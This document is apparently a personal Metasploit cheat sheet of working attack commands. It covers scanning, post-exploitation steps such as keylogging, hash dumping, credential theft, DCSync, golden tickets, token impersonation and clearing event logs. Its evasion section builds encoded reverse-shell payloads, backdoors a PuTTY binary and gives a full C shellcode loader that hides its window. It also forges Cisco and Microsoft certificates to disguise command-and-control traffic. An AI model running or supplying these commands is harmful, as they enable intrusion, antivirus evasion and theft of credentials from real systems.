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Commands

  • init & Info
    msfconsole -q 
    msfvenom -l encoder
    sudo systemctl start postgresql & sudo msfdb init
    sudo netstat -antp|grep postgres
    msf > db_status
     
    ls /usr/share/metasploit-framework/modules
    ls /usr/share/metasploit-framework/plugins/
    ls /usr/share/metasploit-framework/scripts/
    ls /usr/share/metasploit-framework/tools/
  • MSF commands
    • Random
      msf > db_status
      msf > hosts -c address
      msf > db_nmap -sS -A 10.10.11.129
      msf > services
      msf > search portscan
      msf > hosts -c address,os_flavor,vulns,svcs,workspace
      msf > vulns
      msf > workspace -a new
      msf > workspace new
      msf > search name:apache type:exploit date:YYYY
      msf > info exploit/multi/http/log4shell_header_injection
      msf > use exploit/multi/http/log4shell_header_injection
      msf > db_import /root/Downloads/Meta_yxfn4t.nessus
      msf > back
      msf > show options
      msf > show payloads
      msf > setg LHOST 10.0.2.41
      msf > save 
      msf > search jenkins type:exploit platform:windows
      msf > grep meterpreter show payloads
      msf > grep meterpreter grep reverse_tcp show payloads
      msf > workspace -a new
      msf > db_nmap -O 192.168.6.0/24
       
       
      set ExitOnSession true # The listener will automatically terminate
      run -j # run in background 
      • PostExploitation
        meterpreter > screenshot
        meterpreter > sysinfo
        meterpreter > ps
        meterpreter > ps explorer.exe
        meterpreter > migrate 6120
        meterpreter > run post/windows/capture/keylog_recorder
         
        meterpreter > use priv
        meterpreter > run post/windows/gather/smart_hashdump (admin/system)
        meterpreter > load kiwi
        meterpreter > creds_all (system)
        meterpreter > dcsync_ntlm krbtgt
        meterpreter > golden_ticket_create -d <Domain> -u <Username>
         
         
        meterpreter> sessions -u 1
         
        meterpreter > getsystem
        meterpreter > steal_token 380
        meterpreter > getuid
         
        meterpreter > use incognito
        meterpreter > list_tokens -u
        meterpreter > impersonate_token SNEAKS.IN\\ihazdomainadmin
         
         
        meterpreter > run post/windows/manage/enable_rdp
        meterpreter > load sniffer
        meterpreter > sniffer_interfaces 
        meterpreter > sniffer_start 1
        meterpreter > sniffer_dump 1 /tmp/interface1.pcap
         
        # Tips & Tricks 
        meterpreter > clearev
        msf > search type:post name:gather platform:linux
        msf > search platform:windows persistence
        set ReverseListenerBindAddress 127.0.0.1 # when using ngrok
        set ReverseListenerBindPort 5555 # local port when using ngrok 
  • Modules
    auxiliary : 
    Scanning : 
    - auxiliary/scanner/ip/ipidseq => idel scan (not work)
    - msf > use auxiliary/scanner/portscan/syn => syn portscanner 
    - use auxiliary/scanner/mssql/mssql_ping => mssql scanner 
    Services : 
    - use auxiliary/scanner/smb/smb_version => smb version 
    - use auxiliary/scanner/ssh/ssh_version => ssh version 
    - use auxiliary/scanner/ftp/ftp_version => ftp version 
      - use auxiliary/scanner/ftp/anonymous => anonymous ftp 
    - use auxiliary/scanner/snmp/snmp_login => snmp bruteforce 
  • Evasion
    • Scaning
      msf-virustotal -k gph_lasdifj2389fjwe9ufhwe89fh234w -f azure_agent.exe
    • Encoders
      msfvenom -l encoders 
       
      msfvenom LHOST=192.168.99.23 LPORT=1234 --platform windows -a x64 -p windows/x64/shell/reverse_tcp -e x64/xor_dynamic -i 3 -f exe -o payload.exe
       
       
       
       
      # Backdooring 
      	 wget https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe -O clean_putty.exe
      	 msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.23 LPORT=1234 -x clean_putty.exe -k -f exe -o evil_putty.exe
       
       
      #SGN (Good Scenario)
      	msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.99.23 LPORT=1234 -f raw -o raw.bin
      	sudo docker run -it -v $(pwd):/app -w /app egee/sgn -a 64 -c 5 -o encoded.bin raw.bin
      	xxd -i encoded.bin > payload.h
      	nano loader.c 
      	
      	#include <windows.h>
      	#include <stdio.h>
      	#include "payload.h" // <--- This imports your array 'encoded_bin' and length 'encoded_bin_len'
      	
      	int main() {
      	    // 1. Stealth: Hide the console window
      	    ShowWindow(GetConsoleWindow(), SW_HIDE);
      	
      	    // 2. Allocate Memory: We need Read/Write/Execute permissions
      	    void *exec = VirtualAlloc(0, encoded_bin_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      	
      	    // 3. Copy: Move our SGN-encoded shellcode into the allocated memory
      	    memcpy(exec, encoded_bin, encoded_bin_len);
      	
      	    // 4. Execute: Jump to the memory address
      	    // SGN has its own built-in decoder, so we just run the first byte.
      	    ((void(*)())exec)();
      	
      	    return 0;
      	}
      	
      	x86_64-w64-mingw32-gcc loader.c -o sgn_payload.exe -lws2_32 -mwindows -s
       
    • Packers
      upx -9 my_custom.exe -o packed_payload.exe
       
      docker run -it -v $(pwd):/app -w /app egee/amber -f payload2.exe -e 4 -o payload5.exe
    • SSL
      # impersonate_ssl (Metasploit)
      	msf > use auxiliary/gather/impersonate_ssl
      	msf auxiliary(gather/impersonate_ssl) > set RHOST www.cisco.com
      	msf auxiliary(gather/impersonate_ssl) > run
       
      	mv /root/.msf4/loot/20251226120320_default_2.22.4.110_2.22.4.110_pem_709688.pem cisco.pem
      	
      	msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.99.23 LPORT=443 HandlerSSLCert=./cisco.pem StagerVerifySSLCert=true -f exe -o cisco.exe
      	
      	msf > use exploit/multi/handler
      	msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_https
      	msf exploit(multi/handler) > set LHOST 192.168.99.23
      	msf exploit(multi/handler) > set LPORT 443
      	msf exploit(multi/handler) > set HandlerSSLCert /root/metaspliot/cisco.pem
      	msf exploit(multi/handler) > set StagerVerifySSLCert true
      	msf exploit(multi/handler) > run
      	
      # Openssl 
      	# Generate Key 
      	openssl genrsa -out private.key 2048 
      	# Generate Cert (Interactive - LIE HERE) 
      	# CN=azure-edge-node-88.internal 
      	# O=Microsoft Corporation 
      	openssl req -new -x509 -sha256 -key private.key -out public.crt -days 365 
      	# Create the Bundle 
      	cat private.key public.crt > azure_fake.pem
      	
      	msf > use exploit/multi/handler
      	msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_https
      	msf exploit(multi/handler) > set LHOST 192.168.99.23
      	msf exploit(multi/handler) > set LPORT 443
      	msf exploit(multi/handler) > set HandlerSSLCert /root/metaspliot/cisco.pem
      	msf exploit(multi/handler) > set StagerVerifySSLCert true
      	msf exploit(multi/handler) > run
       

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